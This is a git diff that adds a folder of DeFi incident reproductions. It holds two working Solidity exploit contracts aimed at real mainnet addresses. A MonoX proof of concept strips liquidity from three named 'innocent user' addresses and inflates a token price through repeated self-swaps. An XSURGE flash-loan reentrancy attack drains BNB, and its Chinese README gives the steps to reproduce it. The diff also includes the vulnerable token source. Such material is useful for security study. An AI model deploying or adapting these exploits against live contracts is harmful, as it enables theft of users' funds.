+    function decimals() external view returns (uint8);
+
+    function decreaseAllowance(address spender, uint256 subtractedValue)
+        external
+        returns (bool);
+
+    function delegate(address delegatee) external;
+
+    function delegateBySig(
+        address delegatee,
+        uint256 nonce,
+        uint256 expiry,
+        uint8 v,
+        bytes32 r,
+        bytes32 s
+    ) external;
+
+    function delegates(address delegator) external view returns (address);
+
+    function deposit(address user, bytes memory depositData) external;
+
+    function getCurrentVotes(address account) external view returns (uint256);
+
+    function getPriorVotes(address account, uint256 blockNumber)
+        external
+        view
+        returns (uint256);
+
+    function getRoleAdmin(bytes32 role) external view returns (bytes32);
+
+    function getRoleMember(bytes32 role, uint256 index)
+        external
+        view
+        returns (address);
+
+    function getRoleMemberCount(bytes32 role) external view returns (uint256);
+
+    function grantRole(bytes32 role, address account) external;
+
+    function hasRole(bytes32 role, address account)
+        external
+        view
+        returns (bool);
+
+    function increaseAllowance(address spender, uint256 addedValue)
+        external
+        returns (bool);
+
+    function mint(address _to, uint256 _amount) external;
+
+    function name() external view returns (string memory);
+
+    function nonces(address) external view returns (uint256);
+
+    function numCheckpoints(address) external view returns (uint32);
+
+    function owner() external view returns (address);
+
+    function renounceOwnership() external;
+
+    function renounceRole(bytes32 role, address account) external;
+
+    function revokeRole(bytes32 role, address account) external;
+
+    function setMinter(address _minter) external;
+
+    function snapshot() external returns (uint256 currentId);
+
+    function symbol() external view returns (string memory);
+
+    function totalSupply() external view returns (uint256);
+
+    function totalSupplyAt(uint256 snapshotId) external view returns (uint256);
+
+    function transfer(address recipient, uint256 amount)
+        external
+        returns (bool);
+
+    function transferFrom(
+        address sender,
+        address recipient,
+        uint256 amount
+    ) external returns (bool);
+
+    function transferOwnership(address newOwner) external;
+
+    function updateChildChainManager(address newChildChainManagerProxy)
+        external;
+
+    function withdraw(uint256 amount) external;
+}
+
+
+interface USDC {
+    event Approval(
+        address indexed owner,
+        address indexed spender,
+        uint256 value
+    );
+    event AuthorizationCanceled(
+        address indexed authorizer,
+        bytes32 indexed nonce
+    );
+    event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce);
+    event Blacklisted(address indexed _account);
+    event BlacklisterChanged(address indexed newBlacklister);
+    event Burn(address indexed burner, uint256 amount);
+    event MasterMinterChanged(address indexed newMasterMinter);
+    event Mint(address indexed minter, address indexed to, uint256 amount);
+    event MinterConfigured(address indexed minter, uint256 minterAllowedAmount);
+    event MinterRemoved(address indexed oldMinter);
+    event OwnershipTransferred(address previousOwner, address newOwner);
+    event Pause();
+    event PauserChanged(address indexed newAddress);
+    event RescuerChanged(address indexed newRescuer);
+    event Transfer(address indexed from, address indexed to, uint256 value);
+    event UnBlacklisted(address indexed _account);
+    event Unpause();
+
+    function CANCEL_AUTHORIZATION_TYPEHASH() external view returns (bytes32);
+
+    function DOMAIN_SEPARATOR() external view returns (bytes32);
+
+    function PERMIT_TYPEHASH() external view returns (bytes32);
+
+    function RECEIVE_WITH_AUTHORIZATION_TYPEHASH()
+        external
+        view
+        returns (bytes32);
+
+    function TRANSFER_WITH_AUTHORIZATION_TYPEHASH()
+        external
+        view
+        returns (bytes32);
+
+    function allowance(address owner, address spender)
+        external
+        view
+        returns (uint256);
+
+    function approve(address spender, uint256 value) external returns (bool);
+
+    function authorizationState(address authorizer, bytes32 nonce)
+        external
+        view
+        returns (bool);
+
+    function balanceOf(address account) external view returns (uint256);
+
+    function blacklist(address _account) external;
+
+    function blacklister() external view returns (address);
+
+    function burn(uint256 _amount) external;
+
+    function cancelAuthorization(
+        address authorizer,
+        bytes32 nonce,
+        uint8 v,
+        bytes32 r,
+        bytes32 s
+    ) external;
+
+    function configureMinter(address minter, uint256 minterAllowedAmount)
+        external
+        returns (bool);
+
+    function currency() external view returns (string memory);
+
+    function decimals() external view returns (uint8);
+
+    function decreaseAllowance(address spender, uint256 decrement)
+        external
+        returns (bool);
+
+    function increaseAllowance(address spender, uint256 increment)
+        external
+        returns (bool);
+
+    function initialize(
+        string memory tokenName,
+        string memory tokenSymbol,
+        string memory tokenCurrency,
+        uint8 tokenDecimals,
+        address newMasterMinter,
+        address newPauser,
+        address newBlacklister,
+        address newOwner
+    ) external;
+
+    function initializeV2(string memory newName) external;
+
+    function initializeV2_1(address lostAndFound) external;
+
+    function isBlacklisted(address _account) external view returns (bool);
+
+    function isMinter(address account) external view returns (bool);
+
+    function masterMinter() external view returns (address);
+
+    function mint(address _to, uint256 _amount) external returns (bool);
+
+    function minterAllowance(address minter) external view returns (uint256);
+
+    function name() external view returns (string memory);
+
+    function nonces(address owner) external view returns (uint256);
+
+    function owner() external view returns (address);
+
+    function pause() external;
+
+    function paused() external view returns (bool);
+
+    function pauser() external view returns (address);
+
+    function permit(
+        address owner,
+        address spender,
+        uint256 value,
+        uint256 deadline,
+        uint8 v,
+        bytes32 r,
+        bytes32 s
+    ) external;
+
+    function receiveWithAuthorization(
+        address from,
+        address to,
+        uint256 value,
+        uint256 validAfter,
+        uint256 validBefore,
+        bytes32 nonce,
+        uint8 v,
+        bytes32 r,
+        bytes32 s
+    ) external;
+
+    function removeMinter(address minter) external returns (bool);
+
+    function rescueERC20(
+        address tokenContract,
+        address to,
+        uint256 amount
+    ) external;
+
+    function rescuer() external view returns (address);
+
+    function symbol() external view returns (string memory);
+
+    function totalSupply() external view returns (uint256);
+
+    function transfer(address to, uint256 value) external returns (bool);
+
+    function transferFrom(
+        address from,
+        address to,
+        uint256 value
+    ) external returns (bool);
+
+    function transferOwnership(address newOwner) external;
+
+    function transferWithAuthorization(
+        address from,
+        address to,
+        uint256 value,
+        uint256 validAfter,
+        uint256 validBefore,
+        bytes32 nonce,
+        uint8 v,
+        bytes32 r,
+        bytes32 s
+    ) external;
+
+    function unBlacklist(address _account) external;
+
+    function unpause() external;
+
+    function updateBlacklister(address _newBlacklister) external;
+
+    function updateMasterMinter(address _newMasterMinter) external;
+
+    function updatePauser(address _newPauser) external;
+
+    function updateRescuer(address newRescuer) external;
+
+    function version() external view returns (string memory);
+}
+
+contract POC{
+
+    address WETH9_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
+
+    address Mono_Token_Address = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;
+
+    address MonoXPool_Address = 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4;
+
+    address Monoswap_address =  0xC36a7887786389405EA8DA0B87602Ae3902B88A1;
+
+    address Innocent_user_1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;
+
+    address Innocent_user_2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;
+
+    address Innocent_user_3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;
+
+    address USDC_Address =  0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
+
+    uint256 Amount_Of_MonoToken_On_XPool;
+
+    uint256 public Amount_Of_USDC_On_XPool;
+    
+    uint256 public Amoount_Of_Mono_On_This; 
+
+
+    constructor()  public payable{
+        // Approve mono to monoswap
+        MonoToken(Mono_Token_Address).approve(Monoswap_address,type(uint256).max);
+        // Deposit ETH
+        WETH9(WETH9_Address).deposit{value:address(this).balance,gas:40000}();
+        // Approve ETH
+        WETH9(WETH9_Address).approve(Monoswap_address,0.1 ether);
+        // Buy mono with WETH
+        Monoswap(Monoswap_address).swapExactTokenForToken(WETH9_Address,Mono_Token_Address,0.1 ether,1,address(this),block.timestamp);
+        // RemoveLiquidity_From_3_Users
+        RemoveLiquidity_From_3_Users();
+        // AddLiquidity For myself
+        Monoswap(Monoswap_address).addLiquidity(Mono_Token_Address,196875656,address(this));
+
+        Swap_Mono_for_Mono_55_Times();
+
+        Swap_Mono_For_USDC();
+
+    }
+
+
+    function RemoveLiquidity_From_3_Users() internal{
+        uint256 balance_Of_User1 = MonoXPool(MonoXPool_Address).balanceOf(Innocent_user_1,10);
+
+        Monoswap(Monoswap_address).removeLiquidity(Mono_Token_Address,balance_Of_User1,Innocent_user_1,0,1);
+
+        uint256 balance_Of_User2 = MonoXPool(MonoXPool_Address).balanceOf(Innocent_user_2,10);
+
+        Monoswap(Monoswap_address).removeLiquidity(Mono_Token_Address,balance_Of_User2,Innocent_user_2,0,1);
+
+        uint256 balance_Of_User3 = MonoXPool(MonoXPool_Address).balanceOf(Innocent_user_3,10);
+
+        Monoswap(Monoswap_address).removeLiquidity(Mono_Token_Address,balance_Of_User3,Innocent_user_3,0,1);
+    }
+
+    function Swap_Mono_for_Mono_55_Times() internal{
+
+        for(uint256 i=0;i < 55; i++){
+
+            (,,,,,,Amount_Of_MonoToken_On_XPool,,) = Monoswap(Monoswap_address).pools(Mono_Token_Address);
+
+            Monoswap(Monoswap_address).swapExactTokenForToken(Mono_Token_Address,Mono_Token_Address,Amount_Of_MonoToken_On_XPool-1,0,address(this),block.timestamp);
+            
+        }
+    }
+
+    function Swap_Mono_For_USDC() internal{
+
+        (,,,,,,Amount_Of_USDC_On_XPool,,) = Monoswap(Monoswap_address).pools(USDC_Address);
+
+        Amoount_Of_Mono_On_This = MonoToken(Mono_Token_Address).balanceOf(address(this));
+
+        Monoswap(Monoswap_address).swapTokenForExactToken(Mono_Token_Address,USDC_Address,Amoount_Of_Mono_On_This,4000000000000,msg.sender,block.timestamp);
+    }
+
+
+    receive() payable external{}
+
+
+    function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){
+        bytes4 a = 0xf23a6e61;
+        return a;
+    }
+
+
+}
\ No newline at end of file
diff --git a/security/Analysis&POC/README.MD b/security/Analysis&POC/README.MD
new file mode 100644
index 000000000..db8c7f153
--- /dev/null
+++ b/security/Analysis&POC/README.MD
@@ -0,0 +1 @@
+一些真实攻击事件的分析和复现
diff --git a/security/Analysis&POC/XSURGE/POC.sol b/security/Analysis&POC/XSURGE/POC.sol
new file mode 100644
index 000000000..b617ba4e2
--- /dev/null
+++ b/security/Analysis&POC/XSURGE/POC.sol
@@ -0,0 +1,97 @@
+// SPDX-License-Identifier: Apache-2.0
+pragma solidity =0.8.0;
+
+interface IpancakePair{
+    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
+    
+    function token0() external view returns (address);
+    function token1() external view returns (address);
+    
+}
+
+interface WBNB {
+
+    function deposit() payable external;
+    function withdraw(uint wad) external;
+    function balanceOf(address account) external view returns (uint);
+    function transfer(address recipient, uint amount) external returns (bool);
+}
+
+
+interface Token {
+    function balanceOf(address account) external view returns (uint);
+    function transfer(address recipient, uint amount) external returns (bool);
+}
+
+interface Surge{
+    function sell(uint256 tokenAmount) external returns (bool);
+    function balanceOf(address account) external view returns (uint256);
+    function transfer(address recipient, uint256 amount) external  returns (bool);
+}
+
+
+contract  test{
+    
+    address private constant cake_Address = 0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82;
+    
+    address private constant WBNB_Address = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
+    
+    address private constant Pancake_Pair_Address = 0x0eD7e52944161450477ee417DE9Cd3a859b14fD0;
+    
+    address public constant Surge_Address = 0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21;
+    
+    // 这里填你自己的测试地址
+    address public wallet = 0x8F14c19ed3d592039D2F6aD372bd809228369D77;
+    
+    uint8 public time = 0;
+    
+    
+    
+    function Attack()external {
+    
+        // Brrow 100 WBNB
+        bytes memory data = abi.encode(WBNB_Address, 10000*1e18);
+        
+        IpancakePair(Pancake_Pair_Address).swap(0,10000*1e18,address(this),data);
+    
+    }
+    
+    function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external{
+
+        //把WBNB换成BNB
+        WBNB(WBNB_Address).withdraw(WBNB(WBNB_Address).balanceOf(address(this)));
+        
+        // Buy
+        (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40000}("");
+        
+        //循环6次
+        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
+        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
+        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
+        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
+        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
+        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
+        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
+        
+        //把所有BNB换成WBNB
+        WBNB(WBNB_Address).deposit{value: address(this).balance}();
+
+        //还给PancakeSwap 10300个WBNB
+        Token(WBNB_Address).transfer(Pancake_Pair_Address, 10300*1e18);
+        WBNB(WBNB_Address).transfer(wallet,WBNB(WBNB_Address).balanceOf(address(this)));
+    }
+    
+    
+
+    receive() external payable {
+        
+        if(msg.sender == Surge_Address && time < 6){
+        
+            (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40000}("");
+
+            time++;
+
+        }
+    }
+    
+}
\ No newline at end of file
diff --git a/security/Analysis&POC/XSURGE/README.md b/security/Analysis&POC/XSURGE/README.md
new file mode 100644
index 000000000..790a6211d
--- /dev/null
+++ b/security/Analysis&POC/XSURGE/README.md
@@ -0,0 +1,183 @@
+## 概述
+---
+8 月 17 日,BSC上的XSURGE被攻击。
+攻击者利用`闪电贷+重入攻击`反复低买高卖，
+导致项目损失约500万美金。
+---
+## 事件分析
+
+
+* 攻击合约
+```
+0x59c686272e6f11dC8701A162F938fb085D940ad3
+```
+
+* 攻击交易
+
+```
+0x7e2a6ec08464e8e0118368cb933dc64ed9ce36445ecf9c49cacb970ea78531d2
+```
+
+![imaga](./images/Attack_TX.png)
+* 被攻击合约同时也是SurgeToekn合约地址
+
+```
+0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21
+```
+
+
+
+#### 攻击流程
+
+
+* 第一步 从Pancake 通过闪电贷借出 10000 个WBNB
+
+> 由于`PancakeSwap` 借鉴了`Uniswap V2`的代码,所以同样拥有`flashSwap`的功能
+
+> 虽然Pancake的官方文档并没有提及这一功能,但不代表它没有
+
+
+
+* 第二步 把10000个WBNB换成10000个BNB
+
+> 如果WBNB和WETH10一样提供`flashMint`就更方便了
+
+
+
+* 循环攻击SurgeToken合约(共6次)
+
+![image](./images/Six_Times.png)
+
+* 调用WBNB的`Deposit`,把赚到的`22191`个BNB存在在WBNB合约中
+
+![image](./images/Deposit.png)
+
+* 调用WBNB的`transfer`,把`10030`个WBNB归还给Pancake
+
+![image](./images/Repay.png)
+
+* 从WBNB合约中`Withdrawal`,把`12161`个WBNB取出,完成攻击
+
+![image](./images/Repay.png)
+
+---
+## 问题代码
+
+* `sell()` 函数中存在Low-level-call函数调用,虽然使用了`nonReentrant()`， 但无法防御其他函数被异常调用的攻击场景
+![image](./images/Code-1.png)
+
+
+* `purchase`函数在`receive()`中触发
+![image](./images/Code-2.png)
+## 复现方法
+
+* 攻击合约代码
+
+```
+// SPDX-License-Identifier: Apache-2.0
+pragma solidity =0.8.0;
+
+interface IpancakePair{
+    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
+    
+    function token0() external view returns (address);
+    function token1() external view returns (address);
+    
+}
+
+interface WBNB {
+
+    function deposit() payable external;
+    function withdraw(uint wad) external;
+    function balanceOf(address account) external view returns (uint);
+    function transfer(address recipient, uint amount) external returns (bool);
+}
+
+
+interface Token {
+    function balanceOf(address account) external view returns (uint);
+    function transfer(address recipient, uint amount) external returns (bool);
+}
+
+interface Surge{
+    function sell(uint256 tokenAmount) external returns (bool);
+    function balanceOf(address account) external view returns (uint256);
+    function transfer(address recipient, uint256 amount) external  returns (bool);
+}
+
+
+contract  test{
+    
+    address private constant cake_Address = 0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82;
+    
+    address private constant WBNB_Address = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
+    
+    address private constant Pancake_Pair_Address = 0x0eD7e52944161450477ee417DE9Cd3a859b14fD0;
+    
+    address public constant Surge_Address = 0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21;
+    
+    // 这里填你自己的测试地址
+    address public wallet = 0x8F14c19ed3d592039D2F6aD372bd809228369D77;
+    
+    uint8 public time = 0;
+    
+    
+    
+    function Attack()external {
+    
+        // Brrow 100 WBNB
+        bytes memory data = abi.encode(WBNB_Address, 10000*1e18);
+        
+        IpancakePair(Pancake_Pair_Address).swap(0,10000*1e18,address(this),data);
+    
+    }
+    
+    function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external{
+
+        //把WBNB换成BNB
+        WBNB(WBNB_Address).withdraw(WBNB(WBNB_Address).balanceOf(address(this)));
+        
+        // Buy
+        (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40000}("");
+        
+        //循环6次
+        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
+        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
+        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
+        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
+        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
+        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
+        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
+        
+        //把所有BNB换成WBNB
+        WBNB(WBNB_Address).deposit{value: address(this).balance}();
+
+        //还给PancakeSwap 10300个WBNB
+        Token(WBNB_Address).transfer(Pancake_Pair_Address, 10300*1e18);
+        WBNB(WBNB_Address).transfer(wallet,WBNB(WBNB_Address).balanceOf(address(this)));
+    }
+    
+    
+
+    receive() external payable {
+        
+        if(msg.sender == Surge_Address && time < 6){
+        
+            (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40000}("");
+
+            time++;
+
+        }
+    }
+    
+}
+
+```
+
+* 部署合约 点击Attack
+
+![image](./images/Attack.png)
+
+* 成功
+
+![image](./images/Success.png)
diff --git a/security/Analysis&POC/XSURGE/SurgeToken.sol b/security/Analysis&POC/XSURGE/SurgeToken.sol
new file mode 100644
index 000000000..6a448776e
--- /dev/null
+++ b/security/Analysis&POC/XSURGE/SurgeToken.sol
@@ -0,0 +1,635 @@
+/**
+ *Submitted for verification at BscScan.com on 2021-07-30
+*/
+
+//SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+/**
+ * Contract Created by SafemoonMark
+ * Next Gen DeFi Token, Neglecting the need for Liquidity Pools
+ * No need for LPs, Private Sales, or Presales
+ * I welcome all forks, this has some serious potential
+ * This may be the new DeFi Standard moving forward
+ */
+
+abstract contract ReentrancyGuard {
+    uint256 private constant _NOT_ENTERED = 1;
+    uint256 private constant _ENTERED = 2;
+    uint256 private _status;
+    constructor () {
+        _status = _NOT_ENTERED;
+    }
+
+    modifier nonReentrant() {
+        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
+        _status = _ENTERED;
+        _;
+        _status = _NOT_ENTERED;
+    }
+}
+
+library Address {
+    /**
+     * @dev Returns true if `account` is a contract.
+     *
+     * [IMPORTANT]
+     * ====
+     * It is unsafe to assume that an address for which this function returns
+     * false is an externally-owned account (EOA) and not a contract.
+     *
+     * Among others, `isContract` will return false for the following
+     * types of addresses:
+     *
+     *  - an externally-owned account
+     *  - a contract in construction
+     *  - an address where a contract will be created
+     *  - an address where a contract lived, but was destroyed
+     * ====
+     */
+    function isContract(address account) internal view returns (bool) {
+        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
+        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
+        // for accounts without code, i.e. `keccak256('')`
+        bytes32 codehash;
+        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
+        // solhint-disable-next-line no-inline-assembly
+        assembly { codehash := extcodehash(account) }
+        return (codehash != accountHash && codehash != 0x0);
+    }
+
+    /**
+     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
+     * `recipient`, forwarding all available gas and reverting on errors.
+     *
+     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
+     * of certain opcodes, possibly making contracts go over the 2300 gas limit
+     * imposed by `transfer`, making them unable to receive funds via
+     * `transfer`. {sendValue} removes this limitation.
+     *
+     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
+     *
+     * IMPORTANT: because control is transferred to `recipient`, care must be
+     * taken to not create reentrancy vulnerabilities. Consider using
+     * {ReentrancyGuard} or the
+     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
+     */
+    function sendValue(address payable recipient, uint256 amount) internal {
+        require(address(this).balance >= amount, "Address: insufficient balance");
+
+        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
+        (bool success, ) = recipient.call{ value: amount }("");
+        require(success, "Address: unable to send value, recipient may have reverted");
+    }
+
+    /**
+     * @dev Performs a Solidity function call using a low level `call`. A
+     * plain`call` is an unsafe replacement for a function call: use this
+     * function instead.
+     *
+     * If `target` reverts with a revert reason, it is bubbled up by this
+     * function (like regular Solidity function calls).
+     *
+     * Returns the raw returned data. To convert to the expected return value,
+     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
+     *
+     * Requirements:
+     *
+     * - `target` must be a contract.
+     * - calling `target` with `data` must not revert.
+     *
+     * _Available since v3.1._
+     */
+    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
+        return functionCall(target, data, "Address: low-level call failed");
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
+     * `errorMessage` as a fallback revert reason when `target` reverts.
+     *
+     * _Available since v3.1._
+     */
+    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
+        return _functionCallWithValue(target, data, 0, errorMessage);
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
+     * but also transferring `value` wei to `target`.
+     *
+     * Requirements:
+     *
+     * - the calling contract must have an ETH balance of at least `value`.
+     * - the called Solidity function must be `payable`.
+     *
+     * _Available since v3.1._
+     */
+    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
+        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
+     * with `errorMessage` as a fallback revert reason when `target` reverts.
+     *
+     * _Available since v3.1._
+     */
+    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
+        require(address(this).balance >= value, "Address: insufficient balance for call");
+        return _functionCallWithValue(target, data, value, errorMessage);
+    }
+
+    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
+        require(isContract(target), "Address: call to non-contract");
+
+        // solhint-disable-next-line avoid-low-level-calls
+        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
+        if (success) {
+            return returndata;
+        } else {
+            // Look for revert reason and bubble it up if present
+            if (returndata.length > 0) {
+                // The easiest way to bubble the revert reason is using memory via assembly
+
+                // solhint-disable-next-line no-inline-assembly
+                assembly {
+                    let returndata_size := mload(returndata)
+                    revert(add(32, returndata), returndata_size)
+                }
+            } else {
+                revert(errorMessage);
+            }
+        }
+    }
+}
+
+interface IERC20 {
+
+    function totalSupply() external view returns (uint256);
+
+    /**
+     * @dev Returns the amount of tokens owned by `account`.
+     */
+    function balanceOf(address account) external view returns (uint256);
+
+    /**
+     * @dev Moves `amount` tokens from the caller's account to `recipient`.
+     *
+     * Returns a boolean value indicating whether the operation succeeded.
+     *
+     * Emits a {Transfer} event.
+     */
+    function transfer(address recipient, uint256 amount) external returns (bool);
+
+    /**
+     * @dev Returns the remaining number of tokens that `spender` will be
+     * allowed to spend on behalf of `owner` through {transferFrom}. This is
+     * zero by default.
+     *
+     * This value changes when {approve} or {transferFrom} are called.
+     */
+    function allowance(address owner, address spender) external view returns (uint256);
+
+    /**
+     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
+     *
+     * Returns a boolean value indicating whether the operation succeeded.
+     *
+     * IMPORTANT: Beware that changing an allowance with this method brings the risk
+     * that someone may use both the old and the new allowance by unfortunate
+     * transaction ordering. One possible solution to mitigate this race
+     * condition is to first reduce the spender's allowance to 0 and set the
+     * desired value afterwards:
+     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
+     *
+     * Emits an {Approval} event.
+     */
+    function approve(address spender, uint256 amount) external returns (bool);
+
+    /**
+     * @dev Moves `amount` tokens from `sender` to `recipient` using the
+     * allowance mechanism. `amount` is then deducted from the caller's
+     * allowance.
+     *
+     * Returns a boolean value indicating whether the operation succeeded.
+     *
+     * Emits a {Transfer} event.
+     */
+    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
+
+    /**
+     * @dev Emitted when `value` tokens are moved from one account (`from`) to
+     * another (`to`).
+     *
+     * Note that `value` may be zero.
+     */
+    event Transfer(address indexed from, address indexed to, uint256 value);
+
+    /**
+     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
+     * a call to {approve}. `value` is the new allowance.
+     */
+    event Approval(address indexed owner, address indexed spender, uint256 value);
+}
+
+library SafeMath {
+    /**
+     * @dev Returns the addition of two unsigned integers, reverting on
+     * overflow.
+     *
+     * Counterpart to Solidity's `+` operator.
+     *
+     * Requirements:
+     *
+     * - Addition cannot overflow.
+     */
+    function add(uint256 a, uint256 b) internal pure returns (uint256) {
+        uint256 c = a + b;
+        require(c >= a, "SafeMath: addition overflow");
+
+        return c;
+    }
+
+    /**
+     * @dev Returns the subtraction of two unsigned integers, reverting on
+     * overflow (when the result is negative).
+     *
+     * Counterpart to Solidity's `-` operator.
+     *
+     * Requirements:
+     *
+     * - Subtraction cannot overflow.
+     */
+    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
+        return sub(a, b, "SafeMath: subtraction overflow");
+    }
+
+    /**
+     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
+     * overflow (when the result is negative).
+     *
+     * Counterpart to Solidity's `-` operator.
+     *
+     * Requirements:
+     *
+     * - Subtraction cannot overflow.
+     */
+    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
+        require(b <= a, errorMessage);
+        uint256 c = a - b;
+
+        return c;
+    }
+
+    /**
+     * @dev Returns the multiplication of two unsigned integers, reverting on
+     * overflow.
+     *
+     * Counterpart to Solidity's `*` operator.
+     *
+     * Requirements:
+     *
+     * - Multiplication cannot overflow.
+     */
+    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
+        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
+        // benefit is lost if 'b' is also tested.
+        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
+        if (a == 0) {
+            return 0;
+        }
+
+        uint256 c = a * b;
+        require(c / a == b, "SafeMath: multiplication overflow");
+
+        return c;
+    }
+
+    /**
+     * @dev Returns the integer division of two unsigned integers. Reverts on
+     * division by zero. The result is rounded towards zero.
+     *
+     * Counterpart to Solidity's `/` operator. Note: this function uses a
+     * `revert` opcode (which leaves remaining gas untouched) while Solidity
+     * uses an invalid opcode to revert (consuming all remaining gas).
+     *
+     * Requirements:
+     *
+     * - The divisor cannot be zero.
+     */
+    function div(uint256 a, uint256 b) internal pure returns (uint256) {
+        return div(a, b, "SafeMath: division by zero");
+    }
+
+    /**
+     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
+     * division by zero. The result is rounded towards zero.
+     *
+     * Counterpart to Solidity's `/` operator. Note: this function uses a
+     * `revert` opcode (which leaves remaining gas untouched) while Solidity
+     * uses an invalid opcode to revert (consuming all remaining gas).
+     *
+     * Requirements:
+     *
+     * - The divisor cannot be zero.
+     */
+    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
+        require(b > 0, errorMessage);
+        uint256 c = a / b;
+        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
+
+        return c;
+    }
+
+    /**
+     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
+     * Reverts when dividing by zero.
+     *
+     * Counterpart to Solidity's `%` operator. This function uses a `revert`
+     * opcode (which leaves remaining gas untouched) while Solidity uses an
+     * invalid opcode to revert (consuming all remaining gas).
+     *
+     * Requirements:
+     *
+     * - The divisor cannot be zero.
+     */
+    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
+        return mod(a, b, "SafeMath: modulo by zero");
+    }
+
+    /**
+     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
+     * Reverts with custom message when dividing by zero.
+     *
+     * Counterpart to Solidity's `%` operator. This function uses a `revert`
+     * opcode (which leaves remaining gas untouched) while Solidity uses an
+     * invalid opcode to revert (consuming all remaining gas).
+     *
+     * Requirements:
+     *
+     * - The divisor cannot be zero.
+     */
+    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
+        require(b != 0, errorMessage);
+        return a % b;
+    }
+}
+
+abstract contract Context {
+    function _msgSender() internal view virtual returns (address payable) {
+        return payable(msg.sender);
+    }
+
+    function _msgData() internal view virtual returns (bytes memory) {
+        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
+        return msg.data;
+    }
+}
+
+contract Ownable is Context {
+    address private _owner;
+    address private _previousOwner;
+    uint256 private _lockTime;
+
+    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
+
+    /**
+     * @dev Initializes the contract setting the deployer as the initial owner.
+     */
+    constructor () {
+        address msgSender = _msgSender();
+        _owner = msgSender;
